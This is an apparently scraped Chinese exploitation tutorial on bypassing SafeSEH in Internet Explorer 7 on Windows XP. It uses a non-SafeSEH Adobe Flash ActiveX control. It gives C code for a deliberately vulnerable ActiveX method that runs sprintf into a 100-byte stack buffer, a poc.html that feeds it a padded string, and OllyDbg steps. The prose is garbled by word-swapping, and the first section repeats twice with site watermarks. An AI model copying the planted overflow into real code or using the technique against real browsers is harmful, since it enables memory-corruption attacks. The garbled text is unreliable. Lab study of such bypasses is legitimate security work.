深挖到底彻底弄明白如何运用ActiveX控件来躲过SafeS.E.H
[阐发情况] 体系: Windows XP Professional sp3
编译器: Visual Studio 2008
调试器: OllyDbg 1.10
浏览器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 这里要留意没有9.2.124这个版本, 9.0.124是末了没有启用SafeS.E.H的。
阐明: 这篇文参考自《0Day》, 由于”应用Adobe Flash Player ActiveX控件绕过SafeS.E.H” 这节有一些小坑, 不留意能够会试验失败, 以是写了这篇文来一步一步超出这些坑。
相干下载:
OllyFindAddr 链接: https://pan.baidu.com/s/1o8E8l8A 暗码: kc2bAdobe Flash ActiveX 9.0.124 链接: https://pan.baidu.com/s/1i5h802T 暗码: 4sf3Internet Explore 7 链接: https://pan.baidu.com/s/1b9qMy6 暗码: 8g88
0×01 后期筹备
新建一个MFC ActiveX控件, 增加一个test办法
在test办法完成里增加代码
#include #include DWORD MyException(){ printf("There is an exception"); getchar(); return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){ //AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: 在此增加调剂处置法式代码 printf("aaaa"); // 定位函数的标志 char dest[100]; sprintf(dest,"%s",str); int zero=0; try { zero=1/zero; } except(MyException()) { }}
如图设置好名目属性, 抉择release版本, 禁用优化, 编译链接, 末了在cmd键入”Regsvr32 /path/to/activex.ocx”注册控件
html> body> object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> param name="movie" value="1.swf" /> param name="quality" value="high" /> embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object> script> var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s); script> body> html>
新建一个txt文本, 帖入以上代码, 更名为poc.html
留意这里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 阐发栈结构
双击poc.html主动挪用IE浏览器关上, 抉择容许ActiveX控件
离开这里, 用OllyDbg附加下来
断下后选”E”找到VulnerAX_SEH.ocx, 点出来, 在printf(“aaaa”)下断运转
断下后离开call sprintf, 追随栈地点, 再往下一步
[阐发情况] 体系: Windows XP Professional sp3
编译器: Visual Studio 2008
调试器: OllyDbg 1.10
浏览器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 这里要留意没有9.2.124这个版本, 9.0.124是末了没有启用SafeS.E.H的。
阐明: 这篇文参考自《0Day》, 由于”应用Adobe Flash Player ActiveX控件绕过SafeS.E.H” 这节有一些小坑, 不留意能够会试验失败, 以是写了这篇文来一步一步超出这些坑。
相干下载:
OllyFindAddr 链接: https://pan.baidu.com/s/1o8E8l8A 暗码: kc2bAdobe Flash ActiveX 9.0.124 链接: https://pan.baidu.com/s/1i5h802T 暗码: 4sf3Internet Explore 7 链接: https://pan.baidu.com/s/1b9qMy6 暗码: 8g88
0×01 后期筹备
新建一个MFC ActiveX控件, 增加一个test办法
www.wnhack.com
在test办法完成里增加代码
#include #include DWORD MyException(){ printf("There is an exception"); getchar(); return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){ //AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: 在此增加调剂处置法式代码 printf("aaaa"); // 定位函数的标志 char dest[100]; sprintf(dest,"%s",str); int zero=0; try { zero=1/zero; } except(MyException()) { }}
如图设置好名目属性, 抉择release版本, 禁用优化, 编译链接, 末了在cmd键入”Regsvr32 /path/to/activex.ocx”注册控件
html> body> object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> param name="movie" value="1.swf" /> param name="quality" value="high" /> embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object> script> var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s); script> body> html>
无奈人生安全网
新建一个txt文本, 帖入以上代码, 更名为poc.html
留意这里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 阐发栈结构
双击poc.html主动挪用IE浏览器关上, 抉择容许ActiveX控件
离开这里, 用OllyDbg附加下来
断下后选”E”找到VulnerAX_SEH.ocx, 点出来, 在printf(“aaaa”)下断运转
www.wnhack.com
断下后离开call sprintf, 追随栈地点, 再往下一步
无奈人生安全网